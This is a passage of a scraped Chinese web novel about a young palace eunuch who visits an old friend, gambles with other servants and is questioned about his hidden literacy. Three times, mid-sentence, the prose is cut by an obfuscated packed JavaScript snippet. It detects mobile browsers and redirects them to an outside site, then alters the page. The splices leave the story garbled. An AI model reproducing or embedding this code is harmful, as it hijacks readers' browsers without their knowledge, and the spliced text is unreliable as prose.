宫道上来往的人比平日更多,大多是步履匆匆,捧着各类物品的低阶太监宫女。关禧低着头,沿着记忆中的路线,朝着掖庭最北边的净舍方向走去。越往那边走,宫苑越显陈旧偏僻,喧闹的节庆气氛也淡了下去。 刚走出承华宫范围不远,经过一处连接东西巷道的月亮门时,一个淡青色的身影恰好从另一侧拐了出来,两人险些撞个满怀。 关禧连忙刹住脚步,后退半步,垂首躬身:“青黛姐姐。” 正是青黛。她今日也是外出办事,穿着一身更便于行动的浅青色窄袖便装,头发利落地绾起,只插着一根素银簪子,手里拿着一个卷起来的册子。 “是你。今日轮休?”青黛的目光在他身上那套略深的靛青太监服上停顿了一瞬。 “是,姐姐。小的想着许久未见故人,趁今日得空,去净舍那边探望一下旧识。”关禧如实答道,语气恭谨。 “旧识?”青黛眉梢几不可察地一动,“净舍那边……你倒是有心。”她语气平淡,听不出是赞许还是别的什么,“去看谁?” “一个叫石头的小太监,当初在净舍时,他曾给过小的一点照应。”关禧小心地回答,不知为何,在青黛面前提起石头,让他有种莫名的紧张,仿佛自己的某段过去被摊开审视。 “石头……”青黛重复了一遍这个名字,没什么印象,只淡淡道,“知恩图报,是好事。不过,净舍那地方鱼龙混杂,你自己也清楚。见过便罢,莫要久留,更莫要牵扯过深。” “是,小的明白,谢姐姐提点。”关禧躬身应道。 青黛看着他低垂露出一截白皙后颈的脑袋,沉默了片刻。阳光透过月亮门的花墙,在她脸上投下斑驳的光影。她的声音忽然低了一些,不同于平日吩咐公事的语气: “你身上这衣裳,是旧日在派办处时的?” 关禧心里一紧,忙道:“是。今日外出,想着穿旧衣便宜些。” “嗯。”青黛不置可否,“去见王公公?” 关禧心头一震,没想到青黛如此敏锐。他不敢隐瞒,也不敢完全承认,只含糊道:“王公公对小的有引路之恩,若有机会,理应问安。” 青黛的唇角极轻微地弯了一下,那弧度转瞬即逝。“是该去问问安。”她语气平淡,却仿佛意有所指,“王公公近日,怕是忙得很。万寿节在即,内务府那边千头万绪,他老人家又是管着采买派办的实权人物,不知多少人盯着,等着孝敬,也等着……抓错处。” 关禧屏住呼吸,仔细咀嚼着她话里的每一个字。这是在提醒他王公公处境微妙?还是暗示他此去可能看到或听到什么? “你去吧。”青黛不再多言,将手中的册子换到另一只手,“记得早些回来。万寿节前,各处宫门落钥的时辰会提前,巡查也会更严。” “是,小的记下了。姐姐……也请多保重。”关禧再次躬身,直到青黛淡青色的衣角消失在月亮门另一侧,才直起身,继续朝着净舍方向走去。 净舍还是老样子,甚至因为节前部分人手被抽调去帮忙,显得比往常更加破败冷清。空气中弥漫着挥之不去的霉味和劣质油脂气味。 关禧的出现,引起了一阵小小的骚动。当初同屋的那些小太监,有的已经被分派到各处,有的还留在这里,看到衣着整齐,气色明显好了许多的关禧,眼神里充满了复杂的情绪,羡慕,嫉妒,漠然,还有一丝不易察觉的畏惧,大概是关于他诈尸的传闻。 关禧没有理会那些目光,径直找到了缩在角落通铺上的石头。 石头长高了一点点,但依旧瘦得厉害,眼神里的怯懦更深了。看到关禧,他先是不敢置信地揉了揉眼睛,随即眼圈一下子就红了,从铺位上跳下来,手足无措地站着:“离、离子哥!真、真的是你!” 关禧心里有些发酸,拉着他走到屋外稍微僻静些的角落,将早就准备好的一个小油纸包塞到他手里,里面是几块耐放的糕点和他省下的一些铜钱,“石头,拿着。别让人看见。” 石头捏着那还有余温的油纸包,眼泪啪嗒啪嗒掉下来,又想哭又想笑:“离子哥,你、你真好……我还以为你再也不回来了……你现在在承华宫,是不是过得特别好?我听说冯昭仪娘娘人可好了……” 关禧拍拍他的肩膀,低声道:“我还好。你自己在这里,万事小心,机灵点,别惹事,但也别太吃亏。王公公那边……还常常过来吗?” 石头擦了擦眼泪,小声说:“王公公……不怎么常来净舍了。不过前几日还来过一次,挑走了两个长得齐整的,说是……说是要好好调理,预备着。”他声音更低,带着惧意,“离子哥,我害怕……我不想被挑走。” 关禧心中了然。王公公果然还在物色货物。他安慰了石头几句,又仔细问了问净舍最近的状况和王公公手下那些管事的动向,心里大致有了数。 离开净舍时,关禧的心情有些沉重。石头眼中的恐惧,像一面镜子,映照出他曾经和可能面临的未来。他必须更快地往上爬,或者找到出路。 调整了一下心绪,他转向内务府派办处的方向。 派办处今日更是忙得人仰马翻。院子里堆满了各式各样的货箱,绸缎,器皿,算盘珠子打得噼啪响,吆喝声,争执声不绝于耳。关禧通报了姓名,说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911153|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来给王公公请安的,等了约莫一炷香的时间,才被一个小太监引着,来到了王元宝日常处理事务的厢房外。 比起上次来,这里堆了更多的账簿和样品,空气里混杂着更浓烈的香料,油漆和灰尘的味道。王元宝正埋首在一堆单据里,眉头紧锁,听到通报,抬起眼,看到关禧,脸上立刻堆起了惯常的笑容。 “哟,是小离子啊!稀客稀客!快进来!”王元宝放下手中的笔,热情地招呼着,眼神却飞快地将关禧从头到脚打量了一遍,尤其在关禧那身旧衣上停留了片刻。 关禧上前,规规矩矩地行了大礼:“小离子,给王公公请安。许久未来探望公公,心中甚是挂念,今日特来请罪。” “哎哟,说的哪里话!你能有这份心,咱家就高兴!”王元宝笑得眼睛眯成一条缝,示意旁边的小太监看座倒茶,“在承华宫当差,可还顺心?冯昭仪娘娘待你如何?青黛姑娘没为难你吧?”他一连串的问题抛出,看似关心,实则探询。 关禧在绣墩上欠身坐下,姿态恭谨,脸上带着恰到好处的感激:“托公公的洪福,冯昭仪娘娘宽厚仁德,青黛姐姐也多有关照,小的在承华宫一切都好,每日跟着青黛姐姐学习整理文书,受益匪浅。每每思及皆是公公当初提携之恩,小的感激不尽,无以为报。”说着,他从怀中取出那个早就备好的小布包,双手恭敬地奉上,“一点微末心意,是小的省下的月例,不成敬意,万望公公笑纳,买杯茶吃,也算小的略表孝心。” 王元宝目光落在那布包上,并没有立刻去接,脸上的笑容更深了些,“瞧瞧,咱家就说你是个有良心的孩子!在承华宫没白待,越发懂规矩了!”他这才伸手接过,指尖掂了掂分量,随手放在案几上,显然这数目虽不算丰厚,但态度令他满意。 “你能在冯昭仪娘娘身边站稳脚跟,那是你的造化,也是咱家的脸面。”王元宝端起茶盏,用杯盖撇着浮沫,语气变得有些语重心长,“不过啊,小离子,这宫里头的风云变幻,有时候快得让人措手不及。万寿节是普天同庆的大喜事,可这大喜事的背后啊……呵呵。”他笑了笑,没有说下去,转而问道,“你在承华宫,可曾听说……玉芙宫那边,近日有什么特别的动静?或者,皇后娘娘对这次万寿节的安排,可有什么……不同以往的指示?” 王元宝这是在打听消息,而且直指徐昭容和皇后,关禧谨慎地答道:“回公公,小的身份低微,只在书斋整理文书,鲜少有机会听闻各宫动静。皇后娘娘的旨意,都是经由青黛姐姐传达,小的只是按吩咐办事,不敢逾矩打听。” “嗯,谨慎些好。在冯昭仪娘娘身边,更需如此。”王元宝放下茶盏,身体微微前倾,压低了声音,“不过,有些风声,咱家在这派办处,倒是听得比旁人清楚些。徐昭容如今圣眷正浓,玉芙宫的用度……可是水涨船高啊。有些东西,甚至走了特殊的路子,绕开了内务府的常规核查。”他意味深长地看着关禧,“冯昭仪协理六宫,最重规矩体统,这些事……想必不会坐视不理吧?” 关禧听得手心冒汗。王元宝这是在暗示徐昭容可能有逾越之举,甚至可能涉及前朝?他是在向冯昭仪示好,还是想借自己的口传递什么?亦或是……两边下注? “公公明鉴,娘娘行事,自有章程,小的岂敢妄加揣测。”关禧将皮球轻轻踢了回去,姿态放得更低,“小的只知恪守本分,办好娘娘和青黛姐姐交代的差事。” 王元宝盯着他看了几秒,忽然哈哈一笑,拍了拍他的肩膀:“好,好!本分最要紧!你能这么想,咱家就放心了!行了,你也难得休沐,去看过旧相识了?咱家就不多留你了。回去替咱家给冯昭仪娘娘和青黛姑娘带个好。” 这便是送客的意思了。 关禧识趣地起身,再次行礼:“是,小的一定将公公的问候带到。公公事务繁忙,小的就不打扰了,先行告退。” 23.第 23 章 退出派办处,走在回承华宫的路上,关禧的心跳才渐渐平复下来。 王元宝的态度暧昧不明,既示好又试探,既提醒又保留。他提到徐昭容的特殊路子,提到冯昭仪的重规矩,无疑是在点明后宫两股势力的角力,而他王公公,更倾向于,或者至少是愿意向冯昭仪这边透露一些信息。 青黛的默许,王元宝有意的透露…… 他抬头望了望湛蓝的天空,深深吸了口气。 无论如何,路还要继续走。先回承华宫,将今日所见所闻仔细梳理,然后……等待青黛,或者冯昭仪,下一步的指令。 他刚走过一道宫墙拐角,前方连接着几处宫苑杂役房的巷口,传来一阵略显喧闹的嬉笑声,打破了午后这片刻的宁静。 四五个穿着不同颜色,代表不同宫苑的太监正聚在那里,年纪看起来都不大,二十上下,脸上带着一种忙碌间隙偷得浮生的兴奋。其中一个穿着姜黄色坎肩,圆脸微胖的太监正手舞足蹈地说着什么,引得其他人一阵哄笑。 关禧脚步微顿,认出其中两人有些面熟。那个圆脸微胖的,是钟粹宫刘美人的贴身太监,叫小禄子,嘴巴伶俐,常在各处跑腿传话,消息灵通。另一个瘦高个,眼角有颗小痣的,像是景阳宫赵选侍那里的,记不清名字了,但打过照面。其余几个,看着眼生,大约是其他不得宠或低位妃嫔宫里的。 在宫中,太监宫女们私下有些小圈子并不稀奇,尤其是这些年纪相仿,品级相近的,当差之余聚在一处,嚼嚼舌根,抱怨几句管事,或是寻点不入流的乐子,都是常有的事。关禧平日里刻意避开这些,一是身份敏感,二是无心交际,但此刻巷口是回承华宫的必经之路。 他正想低头快步走过,那小禄子眼尖,已经瞧见了他,立刻扬手招呼起来:“哟!这不是承华宫的小离子嘛!今儿个太阳打西边出来了,竟在这儿碰见!快来快来!” 其余几人也纷纷转过头,目光齐刷刷落在关禧身上,那眼神里有好奇,有打量,也有一丝不易察觉对于他这张脸和如今在承华宫当差的微妙审视。 关禧无法,只得停下脚步,脸上堆起恰到好处略显拘谨的笑容,上前几步,微微躬身:“给各位哥哥请安。今日小弟轮休,出来走走。” “轮休好啊!”小禄子笑嘻嘻地凑过来,很自来熟地拍了拍关禧的肩膀,“咱们哥儿几个也刚忙完手里的活,正想着找地方松快松快呢!你这一个人瞎逛有什么趣儿?正好,跟咱们一道去!” “一道去?”关禧面上露出些许为难,“不知哥哥们要去何处?小弟……还得早些回去。” “回那么早作甚?青黛姐姐还能吃了你不成?”旁边那个瘦高个太监挤眉弄眼,他叫小栓子,说话带着点油滑,“咱们去的地方,保准你没见识过,比闷在屋子里强百倍!走走走!” “就是就是!”另一个肤色黝黑,手掌粗大的太监也帮腔,他是永和宫一个老嬷嬷手下的粗使太监,力气大,性子也直,“磨磨唧唧像个娘们!咱们又不吃人!” 几个人你一言我一语,半是邀请半是裹挟,将关禧围在了中间。关禧看出他们并无恶意,纯粹是闲得发慌,想拉个新人一起找乐子,若强行拒绝,反而显得不识抬举,容易得罪人。在这宫里,多个熟人总比多个敌人强,尤其这些在各宫底层当差的太监,消息往往最是灵通杂乱。 “不知……哥哥们是要去……”关禧试探着问,目光扫过他们兴奋的脸。 小禄子左右看了看,压低声音,脸上露出一种做坏事般的兴奋光彩:“还能去哪儿?老地方,听涛阁后头那排废了的值房!僻静,没人管!咱们去玩两把小的,乐呵乐呵!” 听涛阁是御花园西侧一处临水的轩馆,夏日里主子们偶尔会去乘凉听戏,后面确实有几排早年给戏子,乐工临时歇脚的值房,后来班子裁撤,那里就渐渐荒废了,平日少有人去,成了某些宫人私下聚集的宝地。 玩两把小的……关禧立刻明白了。是赌。掷骰子,推牌九,或是叶子戏。这在宫禁中自然是明令禁止的,但屡禁不止,尤其是逢年过节或主子们无暇他顾的时候,底下人总会想方设法寻点刺激。 “这……小弟手拙,也不会玩那些,怕是扫了几位哥哥的兴。”关禧推脱道,脸上适当地露出赧然和怯意,“而且身上也没带什么银钱……”在他接受的教育和认知里,赌绝非好事,害人害己,且他此刻身份敏感,身上还揣着给王公公孝敬后剩下的些许银钱,更不愿卷入是非。 “嗨!谁要你的钱!”小禄子一副你太见外的表情,“咱们就是图个乐子,玩得极小,几个铜板的事儿,输了赢了都不伤筋动骨!不会玩更好了,哥哥们教你!保管一学就会!”他说着,又凑近些,声音压得更低,“离子兄弟,不是哥哥说你,你如今在承华宫当差,虽说清贵,可也得知道知道咱们底下人是怎么喘气的不是?整天对着那些文书卷宗,人都要闷傻了!出来见识见识,没坏处!再说了……” 他拖长了语调,眼神瞟了瞟其他人,“咱们这儿,有钟粹宫的,景阳宫的,还有永和宫的,还有翊坤宫……虽比不得你们承华宫风光,可消息也灵通着呢!一起玩玩,聊聊天,不比你自己瞎琢磨强?” 这话说到了关禧心坎里。他需要信息,需要了解这座皇宫除却表面光鲜下的真实脉络。而这些底层太监的闲聊胡侃中,往往藏着意想不到的碎片。 见他神色松动,小栓子立刻一把搂住他的肩膀,半推半拉:“走吧走吧!再磨蹭天都黑了!放心,咱们有分寸,绝不让你为难!” 其余几人也起哄架秧子,关禧挣扎不得,或者说,心底那点对信息的渴望压过了对赌博本身的反感与警惕,半推半就地被他们簇拥着,朝御花园西侧那荒僻的角落走去。 一路穿花拂柳,避开可能遇到管事太监或巡逻侍卫的大路,专挑偏僻小径。七弯八拐之后,眼前果然出现一排低矮陈旧的灰瓦房舍,墙皮斑驳,窗棂破损,门前杂草丛生,与不远处精致的听涛阁形成鲜明对比。最靠里的一间屋子,门虚掩着,门口还丢着几个破旧的瓦罐。 小禄子熟门熟路地上前,有节奏地敲了敲门板,三长两短。里面传来一声含糊的应和,门被拉开一条缝,探出一张同样年轻,带着几分机警的脸,看到是小禄子一行人,才松了口气,将门完全打开。 屋内比外面看着稍好,显然被简单收拾过,灰尘不多,墙角堆着些杂物,中间摆着一张不知从哪儿搬来的破旧方桌,周围放着几把歪腿的条凳。桌上放着一个缺了口的粗陶碗,里面放着三枚磨得有些发亮的骰子,还有一副油光发亮,边角磨损的骨制牌九。已有两三个太监坐在里面,正低声说着话,见又来了人,纷纷抬头。 “哟,禄公公,栓公公,今儿带新人来了?”一个坐在上首,看起来年纪稍长些面皮白净的太监挑眉笑道,目光落在关禧身上,尤其在关禧脸上转了一圈,眼中闪过一丝了然,“这位是……承华宫的?面生得紧。” “孙哥好眼力!”小禄子笑着奉承了一句,把关禧往前推了推,“这是小离子,在冯昭仪娘娘宫里当差,今日轮休,被咱们拉来见见世面。离子兄弟,这位是翊坤宫孙娘娘身边的孙得福孙哥哥,咱们这儿的常客,也是坐庄的好手!” 翊坤宫孙嫔,位份不算高,但资历老,性子沉闷,不得宠也不惹事,她宫里的太监宫女也多是老实本分之辈。这孙得福看起来倒是比他的主子活络些。 关禧连忙向孙得福和其他几人行礼问好,姿态放得很低。 孙得福摆摆手,示意他不必多礼:“既然是小禄子他们带来的,就是自己人。咱们这儿没那么多规矩,就是兄弟们闲了聚聚,玩两把小的,解解闷。坐,都坐!” 众人各自找地方坐下,条凳不够,就从墙角拖来几块破砖垫着。关禧被小禄子按着坐在了孙得福的下手位置,刚好能看清桌上的情形。 小禄子从怀里掏出一个小布口袋,哗啦一声倒在桌上,是几十枚铜钱,间或夹杂着几块小小的,成色一般的碎银,“老规矩,先换筹码,一把最少五个铜子,上不封顶,但咱们说好了,玩归玩,不许红脸,不许赖账,更不许说出去!” 其他人也纷纷掏出自己的钱袋,数额都不大,多是铜钱。关禧见状,犹豫了一下,也从怀里摸出那个装着自己剩余积蓄的小布袋,数了二十个铜钱出来,放在面前。他打定主意,只输这些,绝不多掏,就当是交个信息费。 孙得福熟练地将桌上的铜钱收拢,按照各人出的数目,分发了等额的,用不同颜色纸条裹着的小筹码,这是为了防止真钱在桌上过于显眼,也方便计算。关禧拿到了四根裹着绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920622|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸的小棍,代表二十文。 赌局很快开始。起初玩的是最简单的押大小。孙得福做庄,将三枚骰子投入陶碗,扣上另一个破碗,哗啦啦摇动一阵,“砰”地扣在桌上。 “买定离手!”他吆喝一声,颇有几分赌坊伙计的架势。 众人纷纷将代表赌注的筹码放在自己猜测的大或小区域。关禧看着那摇晃后静止的破碗,随手将一根绿筹码放在了小上。 破碗揭开。 “四、五、六,十五点,大!” 关禧的筹码被孙得福笑眯眯地收走。旁边的小栓子押对了,高兴地低呼一声。 接下来几把,关禧有输有赢,面前的绿筹码渐渐变成了三根。他并不在意输赢,更多的注意力放在观察这些人和听他们闲聊上。 “他娘的,最近玉芙宫那边真是鼻孔朝天了!”玩了几把,气氛热络了些,永和宫那个黑壮太监输了一把,啐了一口,开始抱怨,“前儿个去内务府领东西,他们宫里的一个小崽子,就因为在徐昭容跟前露了脸,竟然敢插老子的队!什么东西!” “嘁,这算什么?”景阳宫的小栓子撇撇嘴,一边下注一边说,“你没见他们宫里领的份例?光上等的银霜炭,就比咱们娘娘多出一倍!还有那些绸缎,补品……跟不要钱似的。听说陛下私底下赏的更多!” “赏再多有什么用?”小禄子押了个豹子,可惜没中,一边心疼筹码一边嘀咕,“没儿子,一切都是虚的。” 孙得福摇着骰子,闻言笑了笑,没接这个话茬,反而看向关禧:“离子兄弟,你们承华宫近日也忙吧?万寿节快到了,冯昭仪娘娘协理宫务,怕是不得闲。” 关禧谨慎答道:“是有些忙,娘娘和青黛姐姐都辛苦。小弟只是整理些文书,帮不上大忙。” “整理文书好啊,清贵。”孙得福点点头,似是无意地说,“我听说,这次万寿节,皇后娘娘把宴席上几样要紧的陈设布置,都交给玉芙宫那边参详了?徐昭容可真是……简在帝心啊。” 这话里透着一股酸味,也带着试探。关禧立刻想起王元宝提到的特殊路子,以及青黛让他核对器皿数目的事。他面上不显,只含糊道:“这些大事,小弟不清楚。只听青黛姐姐提过,要仔细核对旧例,怕出了差错。” “核对旧例是对的。”孙得福深深看了他一眼,“这宫里,规矩最大。有时候,东西多了少了,或是来了不该来的去处……可是要出大乱子的。”他说着,揭开了骰盅,“二、三、三,八点小!” 这一把,关禧押了小,赢回两根筹码。但他心思已不完全在赌局上。孙得福的话,小禄子他们的抱怨,拼凑出玉芙宫烈火烹油,却也让其他各宫暗暗不满的图景。徐昭容的跋扈和特殊待遇,显然引起了底层一定程度的反弹。 牌局又换成了简单的骨牌接龙,输赢更慢些,闲聊也更多。话题从各宫用度,转到哪个管事太监苛刻,哪个宫女攀了高枝,甚至还有关于先帝朝某个太妃秘闻的荒诞传说。 关禧大多时候静静听着,偶尔附和两句,面前筹码起伏不大。他注意到,孙得福虽然参与闲聊,但说话极有分寸,涉及到各宫主子具体是非时,往往一语带过或转移话题,显示出不同于小禄子等人的谨慎。 不知不觉,日头西斜,屋内光线暗淡下来。 “差不多了吧?”孙得福看了看窗外,“再玩下去,回去晚了该挨说了。” 众人意犹未尽,但也都知道规矩,开始清算筹码。关禧运气一般,最后算下来,输了十几个铜钱,在他可接受范围内。 小禄子一边数着自己赢来的几个铜子,一边搂着关禧的肩膀笑道:“离子兄弟,怎么样?没骗你吧?是不是比闷着强?以后轮休,常来啊!” 关禧笑着应了,心中却想,这种地方,偶尔来一次探听消息尚可,常来必生事端。 一行人鬼鬼祟祟地离开废值房,各自散去。关禧与同路的两个太监走了一段,在岔路口分开。 独自走在回承华宫的路上,晚风带着凉意吹拂在脸上,关禧深吸一口气,将方才那狭小空间里的嘈杂,浑浊的空气,以及那些或真或假的牢骚与秘闻,暂且压下。 赌确实不好。但今日的收获,远大于那输掉的十几文钱,他摸了摸怀中那包少了些许分量的钱袋,加快了脚步。 24.第 24 章 关禧回到承华宫时,天色已近擦黑。 最后一抹残阳的余烬被高耸的宫墙吞噬,取而代之的是宫灯次第亮起的暖黄光晕。承华宫正殿及主要回廊下已挂上了崭新的琉璃宫灯,映得朱漆廊柱与青石地面一片朦胧的辉煌。 空气中飘散着淡淡的食物香气,混杂着隐约的油烟与米面熟透的甜暖,是从后院膳房方向传来的。 按照宫规,主子用膳与下人用膳是严格分开的。冯昭仪通常申时末用晚膳,之后撤下,才轮到他们这些太监宫女。太监和宫女也有各自的膳房和用膳区域,虽同在承华宫范围内,却壁垒分明,互不干扰。 关禧熟门熟路地绕过灯火通明的前殿,低头朝位于承华宫西侧后院的太监用膳处走去。那是一片相对宽敞的棚屋,里面人影憧憧。昏黄的灯光下,十几个穿着各色太监服的人正埋头对付着面前的饭食,今日因为节前,伙食比平日稍好些,空气里的油腥味也浓了点。 他走到门口,正准备循着惯常的路线去领自己的那份,眼角余光瞥见一个淡青色的身影从连接前殿的回廊拐角处转了出来。 是青黛。 她步履从容,手里端着一个朱漆托盘,上面盖着素白的棉布,看不出是什么。她的出现,让原本嘈杂的膳棚入口附近安静了不少,许多正捧着碗或蹲或站的太监都下意识地缩了缩脖子,放低了声音,目光敬畏地追随着她。 青黛没在意这些人,视线准确无误地落在了刚刚走到门口的关禧身上。 “小离子。” 关禧心头一跳,立刻停下脚步,转身面向她,躬身:“青黛姐姐。” “过来。”青黛朝他招了招手,待他走近,目光在他身上那套略显风尘的旧衣上轻轻掠过,语气平淡,“娘娘晚膳用得不多,剩下些清粥小菜,赏你了。随我来。” 说罢,她端着托盘,转身便朝前殿方向走去。 关禧愣在原地,脑子有瞬间的空白。 赏他?剩饭?去前殿? 这不合规矩。主子的剩饭,即便是赏,也多是撤下来后,由膳房分给得脸的太监或宫女,或者直接处理掉,极少有直接叫一个低等太监去前殿用主子剩下的饭食。更何况,还是在这个所有太监都在公共膳房用饭的当口,当着这么多人的面。 身后棚屋里,无数道目光像针一样扎在了关禧的背上。 小禄子那伙人关于承华宫清贵的调侃言犹在耳,此刻却像一记响亮的耳光,扇在了所有认定关禧不过是靠着文书差事暂时得脸的人脸上。 清贵?能被青黛亲自叫走,去用主子娘娘的剩饭,这哪里是清贵,这分明是……破格的亲近或标示。 曹旺和他那两个跟班正蹲在靠近门口的地方,捧着粗陶碗,此刻碗沿抵在嘴边,忘了咀嚼,只瞪大眼睛,死死盯着关禧的背影,还有青黛手中那个盖着白布的托盘。曹旺的脸色在昏黄灯光下显得格外难看,眼神里的阴郁几乎要溢出来。 关禧喉咙发干,心脏在胸腔里擂鼓。 “谢娘娘恩典,谢姐姐。”他压下翻腾的思绪,声音平稳地应道,迈开脚步,跟在青黛身后,一步步离开了那片充斥着复杂目光和压抑低语的膳棚区域,走向灯火更为通明,也更为寂静的前殿。 前殿此刻已掌了灯,但主子用完膳,大部分侍候的宫女太监也已退下,只留了几个值守的静静肃立在角落阴影里。空气中残留着清雅的檀香和一丝尚未散尽的食物香气,与后院膳棚那股子烟火气截然不同。 青黛引着他,没有去正殿,而是绕过一道回廊,来到了东侧一间小巧的暖阁。这里是冯媛平日午后小憩或单独见人时所用,陈设清雅,此刻只点了一盏纱灯,光线柔和。 暖阁中央的紫檀木小圆桌上,已经摆好了碗筷。青黛将手中的托盘放在桌上,掀开白布,里面是一碗晶莹的白粥,几碟清爽的小菜,凉拌三丝,清炒豆苗,还有一小碟看起来像是鸡茸的东西,分量都不多,但摆盘精致,绝非膳棚里的大锅菜可比。旁边还有一个小小的甜白瓷碟,里面放着两块做成梅花形状,小巧的糕点。 “吃吧。”青黛将托盘往他面前推了推,自己则退到窗边的绣墩上坐下,没有离开的意思,“娘娘今日胃口欠佳,没动几筷子,都是干净的。倒了可惜。” 关禧看着桌上那些明显是精心烹制,绝不可能真是剩饭的饭菜,再迟钝也明白了。这绝非单纯的别浪费。这是青黛,或者说是冯昭仪,在用一种极其隐晦却又无比清晰的方式,向他传递某种信号,施恩拉拢,或者更进一步,将他与承华宫,与她们,更紧密地捆绑在一起。 他不敢坐下,只垂首道:“小的……不敢僭越。姐姐和各位管事哥哥们还未用……” “让你吃就吃,哪来那么多话。”青黛打断他,“娘娘赏的,就是你的福分。旁人如何,与你何干?” 这话更是将他彻底架了起来,再推脱就是不知好歹了,关禧深吸一口气,走到桌边,在那张显然是给他准备的绣墩上坐下,动作有些僵硬地拿起了筷子。 粥是温的,入口绵软清香。小菜爽脆可口,调味恰到好处。那鸡茸鲜嫩细腻,糕点甜而不腻。这确实是一顿远超他身份的美味。 可他食不知味。 他能想象此刻后院膳棚里是怎样的暗流涌动。曹旺他们会怎么想?会怎么说?其他那些原本就对他独居一室,得青黛青眼而心怀不满的太监,此刻恐怕嫉妒得眼睛都要红了。青黛这一手,看似抬举,实则是将他彻底推到了众人目光的焦点,也推到了风口浪尖。 “不合胃口?”青黛的声音忽然响起。 关禧连忙摇头:“不,很好吃。谢娘娘赏赐,谢姐姐。” “好吃就多吃点。”青黛看着他握着筷子指节有些发白的手,目光微深,“在宫里,能吃到什么,坐在哪里吃,都是命数,也是本事。有人看不惯,那是他们没这个命,也没这个本事。你只管做好自己的事,守好自己的本分,娘娘……和承华宫,自然不会亏待你。” 这几乎是赤裸裸的安抚和许诺了。 关禧捏紧了筷子,低声应道:“是,小的明白。小的一定尽心竭力,不负娘娘和姐姐信重。” 他强迫自己将碗里的粥菜吃完,每一口都像是在吞咽滚烫的炭火。那两块精致的糕点,他犹豫了一下,也小心地吃了下去。 待他放下筷子,青黛才起身,走到桌边,纱灯柔和的光线从侧面笼过来,将她半边脸映得暖黄,另半边却隐在阴影里,看不清神情。 “今日去净舍,见着那位叫石头的小公公了?他可还好?” 关禧心念微动,谨慎答道:“回姐姐,见着了。石头他还好,只是……依旧瘦弱。多谢姐姐记挂。”他不明白青黛为何突然提起石头,但直觉告诉他,这绝非随口一问。 “记挂谈不上。”青黛轻轻摇头,伸出手指,用指尖沿着那只甜白瓷碟的边缘,极慢地划了一圈,“只是听你说起故人,便想起些旧事。你与石头,是同一年进的宫吧?都是王公公经手挑选的。” “是。”关禧应道,心底的不安逐渐扩散。 “王公公挑人,眼光一向是顶好的。”青黛的声音里听不出褒贬,她抬起眼,目光终于落在了关禧脸上,那眼神平静,却像深潭之水,看似清澈,内里暗沉沉的,难以窥测,“尤其是你,小离子。这张脸,莫说在咱们这批人里,便是放到整个宫里,恐怕也难找出几个能比的。王公公当初,怕也是费了不少心思,才从那么多穷苦孩子里,一眼相中了你。” 关禧的呼吸微微一滞。 青黛在查他?查小离子的来历? “小的……小的出身微贱,全赖王公公不弃,给小的一条活路。” “活路?”青黛轻轻重复了一遍,唇角弯起一个极浅的弧度,“是啊,进宫,对你们这些孩子来说,可不就是一条活路么。总比饿死在外面强。我前些日子,恰好得了点闲暇,便顺着你们这批人的名册,往内务府存底的老档里翻了翻。”她顿了顿,像是忽然想起什么无关紧要的细节,“你那家乡,是叫上河村吧?隶属河间府?听闻那边连着两年闹了灾,收成很不好。” “是,小的家乡贫瘠,父母实在无力抚养,才将小的送进宫来。”她果然查了,而且查得这么细,关禧顺着小离子残留的记忆,喃喃说道。 “无力抚养……”青黛点了点头,指尖离开了瓷碟,转而轻轻叩了叩桌面,“也是,若不是实在没法子,谁家父母舍得把亲生骨肉送进这不见天日的地方,受那一刀之苦。不过,”她话锋忽地一转,“我瞧你那签押画卯的文书,还有平日誊录账目的字迹,虽不算多么飘逸俊秀,却也工整清晰,笔画间颇有章法,倒不像是……全然没沾过笔墨的样子。” 来了。 繁体字,关禧来自现代,认得大部分繁体字,写起来也勉强能模仿个大概,但那种笔触间的章法,更多是硬笔书写的习惯和刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928120|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意模仿的工整,与真正自幼用毛笔习字的人终究不同,青黛心细如发,又掌管文书,她看出来了,她在怀疑。 “还有你核对的那些账目数字,”青黛继续缓缓说道,声音不高,却字字清晰,“加减乘除,勾稽比对,条理分明,便是有些在宫里待了多年的老账房,也未必能像你这般又快又准。我记得……石头那孩子,与你同村吧?他可是连自己的名字,都写得歪歪扭扭,数目大了,便要靠掰手指头才能算清。” 她的目光如同实质,沉甸甸地压在关禧身上:“小离子,你家里……当初送你来时,可曾说过,你读过书?识得字?学过算数?” 关禧的额角渗出细密的冷汗。 